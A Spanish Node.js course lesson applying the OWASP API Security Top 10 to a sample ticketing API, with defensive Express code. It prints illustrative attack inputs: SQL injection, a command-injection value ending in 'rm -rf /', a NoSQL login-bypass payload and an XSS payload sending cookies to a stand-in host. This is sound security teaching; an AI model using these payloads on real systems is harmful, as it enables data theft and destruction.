Escena Viva ya sabe quién llama y qué puede hacer cada uno. Las contraseñas están bien hasheadas, los tokens rotan, la matriz de permisos está escrita y el usuarioId de comprarEntradas es una conclusión del servidor y no un dato del cliente. Eso resuelve dos de los diez frentes de una API real.
Esta lección cierra el módulo con los otros ocho: la lista de comprobación que convierte una API que funciona en una API defendible. No es una colección de trucos sueltos —es el recorrido del OWASP API Security Top 10 aplicado punto por punto a Escena Viva, con el código concreto de cada defensa.
Contenido
- El OWASP API Security Top 10 en Escena Viva
- Límite de peticiones
- Límites de tamaño, complejidad y tiempo
- Asignación masiva y exposición excesiva de datos
- Inyección: SQL, NoSQL y comandos
- XSS y sanitización de salida
- Cabeceras de seguridad con helmet
- HTTPS, HSTS y
Secure - Gestión de secretos
- Registro y monitorización de eventos de seguridad
- Dependencias vulnerables y una advertencia honesta
- Errores comunes, ejercicios y conclusión
- El OWASP API Security Top 10 en Escena Viva
OWASP mantiene una lista específica para APIs porque los fallos de una API no son los de una web tradicional: aquí no hay formularios que sanear, hay endpoints que devuelven JSON a quien sepa pedirlo.
| # | Riesgo | Qué significa | Qué hace Escena Viva |
|---|---|---|---|
| 1 | Autorización rota a nivel de objeto | Acceder a recursos ajenos por su id | Filtro por usuarioId dentro de la consulta, en el repositorio (08-05) |
| 2 | Autenticación rota | Login débil, tokens mal hechos, sin límites | bcrypt con coste medido, JWT con algorithms fijos, refresco rotatorio (08-02, 08-04) |
| 3 | Autorización rota a nivel de propiedad | Leer o escribir campos que no corresponden | Esquemas zod .strict() en entrada y proyecciones explícitas en salida |
| 4 | Consumo de recursos sin límite | Peticiones que agotan CPU, memoria o dinero | express-rate-limit por ruta, tope de cuerpo, paginación con máximo, tiempos límite |
| 5 | Autorización rota a nivel de función | Llamar a un endpoint de administración sin serlo | exigirRol en cada ruta; denegar por defecto (08-05) |
| 6 | Acceso sin restricción a flujos sensibles | Automatizar la compra y acaparar el aforo | limiteCompra por usuario, verificación de correo obligatoria antes de comprar |
| 7 | Falsificación de peticiones del lado del servidor (SSRF) | El servidor pide una URL que le da el cliente | Escena Viva no acepta URLs del usuario; si aceptara imágenes de cartel, lista blanca de dominios |
| 8 | Mala configuración de seguridad | Cabeceras ausentes, CORS abierto, errores con traza | helmet, CORS con lista blanca, manejadorDeErrores que no filtra internos (M6) |
| 9 | Gestión inadecuada del inventario | Versiones antiguas o entornos de prueba vivos | Una sola versión /api, sin entornos de prueba expuestos, documentación al día |
| 10 | Consumo inseguro de APIs | Confiar ciegamente en respuestas de terceros | La pasarela de pago se validará como cualquier otra entrada |
Los tres que más se subestiman son el 3, el 6 y el 9. El 3 porque «devolver el objeto entero» parece cómodo. El 6 porque no es un fallo técnico sino de negocio: la API funciona perfectamente mientras un revendedor vacía el aforo del Festival de Jazz. Y el 9 porque el endpoint que te compromete suele ser el que olvidaste que existía.
- Límite de peticiones
Un único limiteGeneral para toda la API es insuficiente: las rutas no cuestan lo mismo ni valen lo mismo para un atacante.
// src/middleware/limites.js (version completa del modulo 8)
'use strict';
const rateLimit = require('express-rate-limit');
// 429 con el formato de error de siempre (M6). Con standardHeaders,
// express-rate-limit anade Retry-After y las cabeceras RateLimit-*.
const respuestaLimite = (req, res) => res.status(429).json({
error: { codigo: 'DEMASIADAS_PETICIONES', estado: 429,
mensaje: 'Has superado el limite de peticiones. Intentalo mas tarde' },
});
const base = { standardHeaders: 'draft-7', legacyHeaders: false, handler: respuestaLimite };
// Catalogo: generoso, es contenido publico y cacheable.
const limiteGeneral = rateLimit({ ...base, windowMs: 15 * 60 * 1000, limit: 300 });
// Login: muy estricto. Clave IP + correo para frenar tambien el ataque
// distribuido contra UNA cuenta desde muchas IPs.
const limiteLogin = rateLimit({
...base, windowMs: 15 * 60 * 1000, limit: 10,
keyGenerator: (req) => `${req.ip}:${String(req.body?.email || '').toLowerCase()}`,
skipSuccessfulRequests: true, // los aciertos no gastan cupo
});
// Registro: crear cuentas es caro (bcrypt) y se abusa para spam.
const limiteRegistro = rateLimit({ ...base, windowMs: 60 * 60 * 1000, limit: 5 });
// Refresco: un cliente sano refresca cada 15 min. Mas es anomalo.
const limiteRefresco = rateLimit({ ...base, windowMs: 15 * 60 * 1000, limit: 20 });
// Compra: por USUARIO autenticado, no por IP. Una familia comparte IP; un
// revendedor usa muchas IPs. La identidad es la clave util.
const limiteCompra = rateLimit({ ...base, windowMs: 60 * 1000, limit: 5,
keyGenerator: (req) => req.usuario?.id || req.ip });
module.exports = { limiteGeneral, limiteLogin, limiteRegistro, limiteRefresco, limiteCompra };| Ruta | Ventana / límite | Clave | Motivo |
|---|---|---|---|
GET /api/eventos |
15 min / 300 | IP | Contenido público |
POST /auth/login |
15 min / 10 | IP + correo | Fuerza bruta y relleno de credenciales |
POST /auth/registro |
1 h / 5 | IP | Cuentas basura; bcrypt es caro |
POST /auth/refrescar |
15 min / 20 | IP | Detectar bucles y abuso |
POST /api/compras |
1 min / 5 | Usuario | Acaparamiento de entradas |
El problema del proxy. Detrás de Nginx, un balanceador o un CDN, req.ip es la IP del proxy: todas las peticiones comparten clave y el límite se agota para todos a la vez. La solución, ya vista en el módulo 6, es app.set('trust proxy', 1) con el número de proxies de confianza —nunca true en producción, porque eso hace que Express crea cualquier X-Forwarded-For y un atacante podría falsificar su IP para saltarse los límites.
El problema de los varios procesos. El almacén por defecto de express-rate-limit está en memoria del proceso. Con cluster o con dos contenedores, cada proceso lleva su propia cuenta: un límite de 10 se convierte en 10 × número de procesos. La solución es un almacén compartido en Redis, que se desarrolla en el módulo 10 junto con cluster y el rate limiting distribuido.
- Límites de tamaño, complejidad y tiempo
Todo lo que el cliente controla y no tiene tope es una denegación de servicio esperando a ocurrir.
// src/app.js: cuerpo de 100 KB sobra para cualquier peticion de Escena Viva.
// Sin limite, un cuerpo de 500 MB tumba el proceso por memoria.
app.use(express.json({ limit: '100kb' }));
app.use(express.urlencoded({ extended: false, limit: '10kb' }));
// src/servidor.js: cabeceras completas en 10 s frena Slowloris, que abre
// conexiones y envia cabeceras a cuentagotas para agotar el pool.
servidor.headersTimeout = 10_000;
servidor.requestTimeout = 30_000; // peticion completa
servidor.keepAliveTimeout = 65_000; // por encima del ALB tipico (60 s)Paginación obligatoria con tope. GET /api/eventos sin límite invita a ?tamano=1000000:
// src/esquemas/comunes.js. El .max(100) es el tope duro: la validacion
// RECHAZA, no recorta en silencio, para que el cliente sepa que su peticion
// era invalida.
const esquemaPaginacion = z.object({
pagina: z.coerce.number().int().min(1).default(1),
tamano: z.coerce.number().int().min(1).max(100).default(20),
}).strict();Y los límites de complejidad que no son de tamaño:
| Límite | Valor en Escena Viva | Qué evita |
|---|---|---|
| Tamaño del cuerpo | 100 KB | Agotar memoria |
| Longitud de contraseña | 72 caracteres | Hasheo costoso deliberado |
| Elementos por página / entradas por compra | 100 / 10 | Consultas gigantes; acaparamiento |
| Profundidad de objetos JSON | Plana por esquema zod | Analizado patológico |
| Tiempo de petición | 30 s | Conexiones colgadas |
- Asignación masiva y exposición excesiva de datos
Ya apareció en 08-02 y en 08-05; aquí queda formalizada. Asignación masiva es volcar el cuerpo de la petición directamente en un modelo, con Usuario.create(req.body) o Object.assign(evento, req.body). Con un cuerpo {"email":"…","contrasena":"…","rol":"administrador","verificado":true} el atacante se nombra administrador verificado; y {"aforoVendido": 0} reinicia las ventas de una sesión del Festival de Jazz. La defensa son los esquemas zod del módulo 6 usados como lista blanca, más un controlador que construye el objeto campo a campo:
// src/esquemas/evento.js
const esquemaActualizarEvento = z.object({
titulo: z.string().trim().min(3).max(200).optional(),
descripcion: z.string().trim().max(2000).optional(),
}).strict(); // <- rechaza CUALQUIER campo no listado
// Campos explicitos en el controlador: lo que no se nombra, no se escribe.
const { titulo, descripcion } = req.datosValidados.cuerpo;
const cambios = {};
if (titulo !== undefined) { cambios.titulo = titulo; }
if (descripcion !== undefined) { cambios.descripcion = descripcion; }
await actualizarEvento(req.params.id, cambios);Los campos que nunca se aceptan del cliente: rol, verificado, hashContrasena, estado (las transiciones tienen sus endpoints), aforoVendido, creadoEn, _id, usuarioId.
La cara complementaria: exposición excesiva de datos. El mismo problema al revés —devolver el documento entero y confiar en que el front-end oculte lo que sobra—. En vez de res.json(usuario), que expone campos internos y quizá el hash, una proyección explícita: res.json({ usuario: { id, nombre, email, rol } }). Por eso el modelo Usuario lleva select: false en hashContrasena y un toJSON que lo elimina: dos capas para el mismo fallo.
- Inyección: SQL, NoSQL y comandos
SQL. Resuelta en el módulo 7 con consultas parametrizadas. La diferencia:
// AGUJERO: concatenacion. Con sala = "x'; DROP TABLE entradas; --"...
const [filas] = await sequelize.query(`SELECT * FROM eventos WHERE sala = '${sala}'`);
// CORRECTO: parametros. El motor trata el valor SIEMPRE como dato, nunca
// como parte de la sentencia.
const [filas] = await sequelize.query('SELECT * FROM eventos WHERE sala = :sala',
{ replacements: { sala }, type: QueryTypes.SELECT });NoSQL. Es la que sorprende, porque no hay cadenas que concatenar. Mongoose acepta objetos como valores de consulta, y un cuerpo JSON puede contener objetos: { "email": { "$gt": "" }, "contrasena": { "$gt": "" } }. Si el código hace Usuario.findOne({ email: req.body.email }), el operador $gt: "" significa «cualquier email mayor que la cadena vacía» y devuelve el primer usuario de la colección; combinado con un login mal escrito, es una entrada sin contraseña. Las defensas, en orden de eficacia:
- Validar el tipo con zod.
z.string().email()rechaza un objeto de plano. Es la defensa principal, y ya la tenemos desde el módulo 6. - Coaccionar explícitamente:
String(req.body.email)convierte el objeto en"[object Object]", inofensivo. sanitizeFilterde Mongoose oexpress-mongo-sanitizecomo red de seguridad, no como defensa primaria; y nunca pasarreq.bodydirecto afind().
Inyección de comandos. Si algún día Escena Viva generase PDFs de entradas llamando a un binario:
// AGUJERO: exec pasa la cadena por una shell. Con el codigo de entrada
// "EV-2026-000001; rm -rf /" se ejecutan las dos ordenes.
exec(`convertir --codigo ${codigoEntrada}`);
// CORRECTO: execFile no usa shell, y los argumentos son argumentos
execFile('convertir', ['--codigo', codigoEntrada]);Y aun así, validar codigoEntrada contra el formato EV-<año>-<6 dígitos> con una expresión regular anclada.
- XSS y sanitización de salida
«Devolvemos JSON, el XSS no va con nosotros» es un razonamiento peligroso a medias. Es cierto que un JSON no ejecuta scripts; es falso que la API no participe en el problema.
El escenario real: el organizador del Teatro Almendra crea un evento con título <img src=x onerror="fetch('https://malo.test?c='+document.cookie)">. La API lo guarda y lo devuelve. El front-end lo inserta con innerHTML en la ficha del evento. El script se ejecuta en el navegador de cada visitante. Eso es XSS almacenado, y la API fue el vehículo.
Las defensas, en capas:
| Capa | Medida | Responsable |
|---|---|---|
| Entrada | Validar formato y longitud con zod; rechazar lo que no encaje | API |
| Almacenamiento | Guardar el texto tal cual, sin escapar (escapar al guardar corrompe los datos) | API |
| Salida y renderizado | Escapar según el contexto; textContent en vez de innerHTML (React y Vue lo hacen solos) |
Front-end |
| HTML enriquecido | DOMPurify si se permite HTML en las descripciones |
Front-end |
| Defensa en profundidad | Content-Security-Policy; cookies HttpOnly y token de acceso en memoria |
API (08-04) |
La regla que resuelve la confusión: se escapa en la salida, según el contexto, no en la entrada. El mismo título necesita escapado distinto en HTML, en un atributo, en JavaScript o en una URL. Escapar al guardar produce < almacenados que reaparecen visibles cuando el dato se usa en otro sitio.
Lo que sí hace la API: Content-Type: application/json siempre (nunca text/html con datos del usuario), X-Content-Type-Options: nosniff vía helmet, y una CSP estricta para el front-end estático.
- Cabeceras de seguridad con helmet
helmet está montado desde el módulo 6. Repasémoslo ahora con criterio:
// src/app.js (fragmento)
app.use(helmet({
contentSecurityPolicy: { directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // sin 'unsafe-inline': mata el XSS reflejado
styleSrc: ["'self'"],
imgSrc: ["'self'", 'data:'],
connectSrc: ["'self'", 'https://api.escenaviva.test'],
frameAncestors: ["'none'"], // nadie nos mete en un iframe
objectSrc: ["'none'"],
upgradeInsecureRequests: [],
} },
hsts: { maxAge: 31_536_000, includeSubDomains: true, preload: true },
referrerPolicy: { policy: 'no-referrer' },
crossOriginResourcePolicy: { policy: 'same-site' },
}));
app.disable('x-powered-by'); // cabecera que delata la tecnologia: fuera| Cabecera | Qué hace | Ataque que mitiga |
|---|---|---|
Content-Security-Policy |
Restringe de dónde se cargan scripts y recursos | XSS (la defensa en profundidad más potente) |
Strict-Transport-Security |
Obliga a HTTPS durante un año | Degradación a HTTP, sslstrip |
X-Content-Type-Options: nosniff |
Prohíbe adivinar el tipo | JSON interpretado como HTML |
X-Frame-Options / frame-ancestors |
Impide el enmarcado | Clickjacking |
Referrer-Policy / Cross-Origin-Resource-Policy |
No filtra la URL de origen; restringe quién incrusta respuestas | Fuga de tokens en URLs; fugas entre sitios |
Y el CORS del módulo 6, con la regla que no se negocia:
// Lista blanca explicita. NUNCA origin: '*' con credentials: true (el
// navegador lo rechaza, y el intento revela un diseno equivocado).
const corsListaBlanca = cors({
origin: (origen, callback) => (!origen || configuracion.origenesPermitidos.includes(origen)
? callback(null, true)
: callback(new Error('Origen no permitido'))),
credentials: true, maxAge: 600,
});Recuerda además que CORS no es autorización: es una protección del navegador. curl ignora CORS por completo. Un endpoint sin autenticación no está protegido porque tenga CORS restringido.
- HTTPS, HSTS y
Secure
SecureSin TLS, todo lo anterior es decorado. En claro por la red viajan la contraseña de Lucía en el POST /auth/login, el token de acceso en cada cabecera Authorization y la cookie de refresco. Cualquiera en la misma Wi-Fi lo lee.
Las tres piezas: HTTPS en todas partes (no solo en el login: si el token viaja en claro una vez, se acabó); HSTS (Strict-Transport-Security), que hace que el navegador recuerde durante un año que este dominio es solo HTTPS y no permita ni el primer salto en claro —con preload, viene de fábrica—; y redirección de HTTP a HTTPS para quien escriba la dirección a mano.
// Redireccion 308 en produccion, cuando el proxy termina TLS.
if (configuracion.entorno === 'produccion') {
app.use((req, res, next) => (req.secure // req.secure funciona gracias a
? next() // app.set('trust proxy', 1)
: res.redirect(308, `https://${req.headers.host}${req.originalUrl}`)));
}Con HTTPS obligatorio, Secure en las cookies deja de ser opcional: sin él, la cookie de refresco de 30 días se enviaría en cualquier petición HTTP accidental. Y __Host- como prefijo obliga al navegador a comprobar Secure, Path=/ y ausencia de Domain.
El despliegue con TLS, los certificados de Let's Encrypt y la terminación en el proxy se cierran en el módulo 11.
- Gestión de secretos
Escena Viva maneja hoy: MONGODB_URL, POSTGRES_URL, SECRETOS_SESION, JWT_SECRETO_ACCESO, JWT_SECRETO_REFRESCO, SECRETO_CSRF. Las reglas:
- Fuera del código. Todo pasa por
src/config/index.js, el único punto que leeprocess.env. Ungrep -r 'process.env' src/que devuelva algo fuera de ese fichero es un fallo de revisión. - Fuera del repositorio.
.enven.gitignoredesde el módulo 5;.env.ejemploversionado con los nombres y sin valores. - Distintos por entorno, con longitud suficiente (32 caracteres mínimo, generados con
randomBytes, nunca frases inventadas) y rotables: por esoSECRETOS_SESIONes una lista. - Validados al arrancar: mejor que el proceso no arranque a que sirva inseguro.
Qué hacer cuando se filtra un secreto, en este orden y sin saltarse pasos:
- Rotar inmediatamente. Es lo primero, antes de investigar nada.
- Invalidar lo derivado: si era el secreto JWT, todos los tokens dejan de valer; si era el de sesión, todas las sesiones caen. Es molesto y es correcto.
- Investigar el alcance: qué se pudo hacer con él y desde cuándo estaba expuesto.
- Auditar los registros buscando uso anómalo en ese periodo.
- Borrar del historial de Git si acabó allí — y aun así, darlo por comprometido para siempre: alguien pudo clonar el repositorio.
- Documentar el incidente y añadir la detección que lo hubiera evitado (escáneres de secretos en CI, ganchos de pre-commit).
El error más caro es el paso 5 sin el 1: reescribir el historial y creer que el secreto vuelve a ser secreto.
- Registro y monitorización de eventos de seguridad
Un ataque que nadie ve es un ataque con éxito. Qué registrar:
| Evento | Por qué importa |
|---|---|
| Inicio de sesión fallido; inicio correcto desde IP o país nuevos | Fuerza bruta, relleno de credenciales, cuenta comprometida |
| Cambio de contraseña, de correo o de rol | Toma de control de cuenta; escalada de privilegios (08-05) |
| Revocación de familia por reutilización de refresco | Token robado (08-04) |
| 403 o 429 repetidos del mismo usuario | Sondeo de permisos; automatización |
| Errores 500 en ráfaga | Explotación en curso o bug grave |
Qué nunca aparece en un registro: contraseñas (ni siquiera hasheadas), tokens de acceso o refresco, cookies, cabeceras Authorization, tokens de recuperación, ni el cuerpo completo de una petición de autenticación.
// src/registro/censura.js
'use strict';
const CAMPOS_CENSURADOS = new Set([
'contrasena', 'contrasenaActual', 'contrasenaNueva', 'hashContrasena',
'token', 'tokenAcceso', 'refresco', 'authorization', 'cookie', 'set-cookie',
]);
// Censura recursiva antes de registrar cualquier objeto. El fallo real no suele
// ser un console.log(contrasena), sino volcar la peticion entera en un
// capturador de errores.
function censurar(valor, profundidad = 0) {
if (profundidad > 5 || valor === null || typeof valor !== 'object') { return valor; }
const salida = Array.isArray(valor) ? [] : {};
for (const [clave, contenido] of Object.entries(valor)) {
salida[clave] = CAMPOS_CENSURADOS.has(clave.toLowerCase())
? '[CENSURADO]' : censurar(contenido, profundidad + 1);
}
return salida;
}
module.exports = { censurar, CAMPOS_CENSURADOS };Los registros deben ser estructurados (JSON), llevar el idPeticion del módulo 6 para correlacionar, y tener política de retención (son datos personales). El logging en producción, su envío a un sistema centralizado y las alertas se desarrollan en el módulo 11.
- Dependencias vulnerables y una advertencia honesta
En el módulo 5 vimos npm audit y la seguridad de la cadena de suministro. Aquí importa especialmente, porque el módulo 8 ha añadido dependencias que están en la ruta crítica de la autenticación: bcrypt, jsonwebtoken, express-session, passport, passport-local, csrf-csrf. Las prácticas mínimas: npm audit --omit=dev (el script auditoria del package.json), npm outdated para ver versiones desfasadas, npm ci para instalaciones reproducibles desde el lockfile, package-lock.json versionado, la auditoría como paso que rompe la construcción ante vulnerabilidades altas o críticas, actualizaciones automatizadas revisadas por una persona, y ninguna dependencia nueva sin mirar su mantenimiento y sus dependencias transitivas. La CI se monta en el módulo 11.
Y ahora, la advertencia. Todo lo de este módulo es correcto y necesario. No es suficiente.
- Esta lección no sustituye una auditoría de seguridad profesional. Un especialista encuentra lo que un desarrollador no ve por conocer demasiado bien su propio código.
- Si Escena Viva procesa pagos reales, entra en el ámbito de PCI DSS. La respuesta correcta casi siempre es no tocar los datos de tarjeta: delegar en una pasarela (Stripe, Redsys) y no almacenar nada.
- Si maneja datos personales de residentes en la UE, aplica el RGPD: base legal, minimización, derechos de acceso y supresión, registro de tratamientos y notificación de brechas en 72 horas.
- La seguridad no es un estado, es un proceso: dependencias que envejecen, ataques nuevos, código que cambia.
- Y una regla de oro: si tu decisión de seguridad depende de que un atacante no sepa algo, no es seguridad, es esperanza.
Errores Comunes y Consejos
trust proxy: trueen producción. Hace que Express crea cualquierX-Forwarded-For: un atacante falsifica su IP y esquiva todos los límites. Pon el número de proxies reales.- Limitar solo por IP. Detrás de un CDN o una red móvil compartida, castiga a inocentes y no frena al que rota IPs. Limita por identidad donde la haya.
- Creer que CORS protege la API: es una protección del navegador, y
curlno la conoce. O escapar HTML al guardar, que corrompe los datos y no protege en otros contextos; se escapa en la salida. res.json(documento)sin proyección. Exposición excesiva de datos, el fallo silencioso más frecuente.- Devolver la traza del error al cliente. Regala rutas, versiones y estructura interna. El
manejadorDeErroresdel módulo 6 solo devuelve mensajes de errores operativos. - Dejar viva una versión antigua de la API. El endpoint olvidado no tiene las defensas nuevas.
- Consejo: convierte esta lección en una lista de comprobación del repositorio y repásala en cada revisión de código. La seguridad que depende de la memoria de alguien se pierde en la primera semana de prisa.
- Consejo: haz que la CI falle ante
npm auditcon vulnerabilidades altas, ante secretos detectados y ante rutas sin middleware de autenticación —lo que automatizas se cumple— y deniega por defecto: una ruta nueva sin política explícita debe ser inaccesible, no pública.
Ejercicios
Ejercicio 1: auditar un endpoint
Encuentra los seis fallos de seguridad de este endpoint y reescríbelo.
router.get('/api/usuarios', async (req, res) => {
const filtro = req.query.filtro ? JSON.parse(req.query.filtro) : {};
const usuarios = await Usuario.find(filtro).select('+hashContrasena');
res.json(usuarios);
});Ejercicio 2: límite por flujo sensible
Las entradas del Festival de Jazz (evt-003) se agotan en segundos y sospechamos de revendedores. Diseña las medidas de límite y control para POST /api/compras, indicando qué mide cada una y qué ataque frena. Ten en cuenta que un revendedor puede crear muchas cuentas.
Ejercicio 3: lista de comprobación
Escribe la lista de comprobación de seguridad de Escena Viva agrupada en cuatro bloques (autenticación, autorización, entrada/salida, infraestructura), con al menos cuatro puntos verificables por bloque. «Verificable» significa que se pueda responder sí o no mirando el código.
Soluciones
Ejercicio 1
- Sin autenticación: cualquiera lista los usuarios.
- Sin autorización: aunque la hubiera, listar usuarios es solo de administrador.
- Inyección NoSQL:
JSON.parsede un parámetro de consulta permite{"rol":{"$ne":"asistente"}}o filtros arbitrarios. select('+hashContrasena'): expone los hashes de todas las contraseñas. Injustificable fuera del login.- Sin paginación:
find({})devuelve la colección entera; con muchos usuarios, tumba el proceso por memoria. res.json(usuarios)sin proyección: exposición excesiva de datos (fechas internas,__v,salaAsignada).
router.get('/api/usuarios', autenticar, exigirRol('administrador'),
validar(esquemaListarUsuarios, ORIGENES_VALIDOS.CONSULTA), // zod .strict()
async (req, res, next) => {
try {
const { pagina, tamano, rol } = req.datosValidados.consulta;
const filtro = rol ? { rol } : {}; // construido a partir de valores VALIDADOS
const usuarios = await Usuario.find(filtro)
.select('email nombre rol verificado creadoEn') // proyeccion explicita
.skip((pagina - 1) * tamano).limit(tamano).lean(); // tope: max 100 en zod
res.json({ pagina, tamano, usuarios: usuarios.map((u) => ({ id: String(u._id),
email: u.email, nombre: u.nombre, rol: u.rol, verificado: u.verificado })) });
} catch (error) { next(error); }
});Ejercicio 2
| Medida | Qué mide | Ataque que frena |
|---|---|---|
limiteCompra: 5 peticiones/min por usuario |
Identidad autenticada | Automatización desde una cuenta |
| Máximo 6 entradas por pedido y 10 por sesión y usuario (regla de negocio en el repositorio) | Acumulado histórico | Acaparamiento con muchas peticiones pequeñas |
exigirVerificado y limiteRegistro (5 cuentas/hora por IP) |
Propiedad del correo; creación de cuentas | Cuentas desechables y fábricas de cuentas |
| Antigüedad mínima de cuenta en eventos de «alta demanda» | Fecha de creadoEn |
Cuentas creadas justo antes de la venta |
| CAPTCHA al superar un umbral; cola de espera con turno firmado | Comportamiento y orden de llegada | Automatización básica; ráfagas simultáneas |
| Auditoría de compras por IP, tarjeta y agente de usuario | Correlación entre cuentas | Detección posterior de redes de cuentas |
Las tres primeras son la base y se implementan hoy con lo aprendido. Nota honesta: el límite por usuario no puede frenar por sí solo a quien controla mil cuentas verificadas; por eso el control real combina límites, fricción (verificación, antigüedad) y detección posterior, con capacidad de anular pedidos. Y todo ello con el almacén compartido en Redis del módulo 10, porque con varios procesos el límite en memoria se multiplica.
Ejercicio 3
Autenticación
- [ ] Las contraseñas se hashean con bcrypt y el coste está en
configuracion, medido en el hardware real. - [ ]
hashContrasenatieneselect: falsey se elimina entoJSON. - [ ] El login responde con mensaje, código y tiempo idénticos para usuario inexistente y contraseña incorrecta.
- [ ]
jwt.verifyfijaalgorithms,issueryaudiencede forma explícita. - [ ] El token de refresco se guarda hasheado, rota en cada uso y detecta reutilización, y los secretos de acceso y refresco son distintos y de 32+ caracteres.
Autorización
- [ ] Toda ruta no pública lleva
autenticary una comprobación de permiso explícita. - [ ] Las consultas de recursos propios filtran por
req.usuario.iddentro de la consulta. - [ ] Se distingue 401 de 403, y se usa 404 donde la existencia es sensible.
- [ ] La política vive en
src/autorizacion/politica.jsy no hayifde rol en los controladores. - [ ] Ningún endpoint acepta
rol,verificadooestadodesde el cuerpo, y los cambios de rol quedan auditados y revocan los tokens de refresco.
Entrada y salida
- [ ] Todos los esquemas zod usan
.strict(); todos los listados tienen paginación con tope máximo. - [ ]
express.jsontienelimitconfigurado. - [ ] Ninguna respuesta devuelve un documento del ODM sin proyección explícita.
- [ ] Ninguna consulta a la base recibe
req.bodyoreq.querysin validar. - [ ] Los errores no operativos no filtran mensaje ni traza al cliente.
Infraestructura
- [ ] helmet con CSP y HSTS;
x-powered-bydesactivado; CORS con lista blanca, nunca'*'con credenciales. - [ ]
trust proxycon el número real de proxies. - [ ] Límites de peticiones por tipo de ruta, con clave adecuada (IP o usuario).
- [ ]
process.envsolo se lee ensrc/config/index.js, con validación al arrancar. - [ ]
npm auditsin vulnerabilidades altas ypackage-lock.jsonversionado. - [ ] Los registros están censurados y no contienen credenciales ni tokens.
Conclusión
Con esta lección se cierra el módulo 8, y Escena Viva es otra API. Empezamos con un comprarEntradas que aceptaba el usuarioId que le diera la gana al cliente y terminamos con un sistema completo: contraseñas hasheadas con bcrypt y coste medido, registro y login que no filtran qué correos existen ni por el mensaje ni por el tiempo, tokens de un solo uso bien hechos para verificar y recuperar; sesiones de servidor con Passport, con regeneración contra la fijación de sesión y protección CSRF; JWT de acceso corto con algorithms fijos y token de refresco rotatorio en cookie HttpOnly con detección de reutilización; una matriz de permisos convertida en política centralizada, con 401 y 403 bien diferenciados y el filtro por propietario empujado dentro de la consulta para que el IDOR sea imposible en vez de evitable. Y, en esta última lección, el OWASP API Security Top 10 recorrido de verdad: límites afinados por ruta, topes de tamaño y paginación, asignación masiva cerrada con listas blancas, inyección SQL y NoSQL bloqueada en el borde, cabeceras de seguridad con criterio, HTTPS obligatorio, secretos gestionados y eventos de seguridad monitorizados sin registrar jamás una credencial.
Y ahora, la pregunta incómoda de siempre, la que este curso te hace al final de cada módulo.
La API de Escena Viva vende entradas, persiste pedidos con transacciones que impiden la sobreventa, autentica usuarios, rota tokens y autoriza operaciones según roles y propiedad. Hace muchísimas cosas. Y nadie ha comprobado nunca que funcione. Ni una sola vez. npm test sigue fallando a propósito desde el módulo 5, y cada línea de seguridad que hemos escrito en estas seis lecciones —el señuelo de bcrypt, la detección de reutilización del refresco, cada celda de la matriz de permisos— descansa hoy sobre la confianza de que la escribimos bien. Un if invertido en puedeGestionarEvento abriría el catálogo entero sin que nada avisara.
En el módulo 9 ponemos fin a eso: pruebas unitarias con Mocha y Chai, dobles de prueba con Sinon, pruebas de integración con supertest contra la aplicación real, cobertura y depuración. Verás que la política de autorización, al ser funciones puras, se prueba entera con una tabla de casos que recorre la matriz celda por celda. Y descubrirás que autenticar en las pruebas tiene su propia técnica —cómo consigue supertest un token válido sin escribir una contraseña en el código de las pruebas—, que es justo lo que veremos allí.
Curso de Node.js: De Principiante a Avanzado
Módulo 1: Introducción a Node.js
- ¿Qué es Node.js?
- Instalación y Configuración del Entorno
- Tu Primer Programa en Node.js
- El REPL de Node.js
- JavaScript Moderno para Node.js
- El Proyecto del Curso: la Plataforma Escena Viva
Módulo 2: Conceptos Básicos
- Arquitectura de Node.js
- El Bucle de Eventos (Event Loop)
- Callbacks y Programación Asíncrona
- Promesas y async/await
- Eventos y EventEmitter
- Módulos CommonJS y require()
- Módulos ES e Interoperabilidad
Módulo 3: Sistema de Archivos y E/S
- Lectura y Escritura de Archivos
- El Módulo fs a Fondo
- Rutas Multiplataforma con el Módulo path
- Trabajando con Streams
- Streams de Transformación y pipeline
- Buffers y Datos Binarios
Módulo 4: HTTP y Servidores Web
- Creando un Servidor HTTP Simple
- Manejo de Solicitudes y Respuestas
- Enrutamiento Manual
- Sirviendo Archivos Estáticos
- Recibiendo Datos: Cuerpos de Petición y JSON
- Consumiendo APIs Externas desde Node.js
Módulo 5: NPM y Gestión de Paquetes
- Introducción a NPM y package.json
- Instalación y Uso de Paquetes
- Versionado Semántico y package-lock
- Scripts de npm y Automatización del Proyecto
- Creación y Publicación de Paquetes
- Seguridad y Mantenimiento de Dependencias
Módulo 6: Framework Express.js
- Introducción a Express.js
- Configuración de una Aplicación Express
- Enrutamiento en Express
- Middleware
- Middleware de Terceros Esenciales
- Validación de Datos de Entrada
- Manejo de Errores
Módulo 7: Bases de Datos y ORMs
- Introducción a las Bases de Datos
- Usando MongoDB con Mongoose
- Operaciones CRUD
- Relaciones, Poblado y Consultas Avanzadas
- Usando Bases de Datos SQL con Sequelize
- Migraciones, Transacciones y Datos de Prueba
Módulo 8: Autenticación y Autorización
- Introducción a la Autenticación
- Registro de Usuarios y Hash de Contraseñas
- Sesiones y Cookies con Passport.js
- Autenticación con JWT
- Control de Acceso Basado en Roles
- Buenas Prácticas de Seguridad en APIs
Módulo 9: Pruebas y Depuración
- Introducción a las Pruebas
- Pruebas Unitarias con Mocha y Chai
- Dobles de Prueba con Sinon
- Pruebas de Integración
- Cobertura y Automatización de las Pruebas
- Depuración de Aplicaciones Node.js
Módulo 10: Temas Avanzados
- El Módulo Cluster
- Hilos de Trabajo (Worker Threads)
- Caché y Colas de Trabajo con Redis
- Optimización del Rendimiento
- Construcción de APIs RESTful
- GraphQL con Node.js
Módulo 11: Despliegue y DevOps
- Configuración y Variables de Entorno
- Registro y Monitorización en Producción
- Usando PM2 para la Gestión de Procesos
- Empaquetado con Docker
- Desplegando en Heroku y Otras PaaS
- Integración y Despliegue Continuos
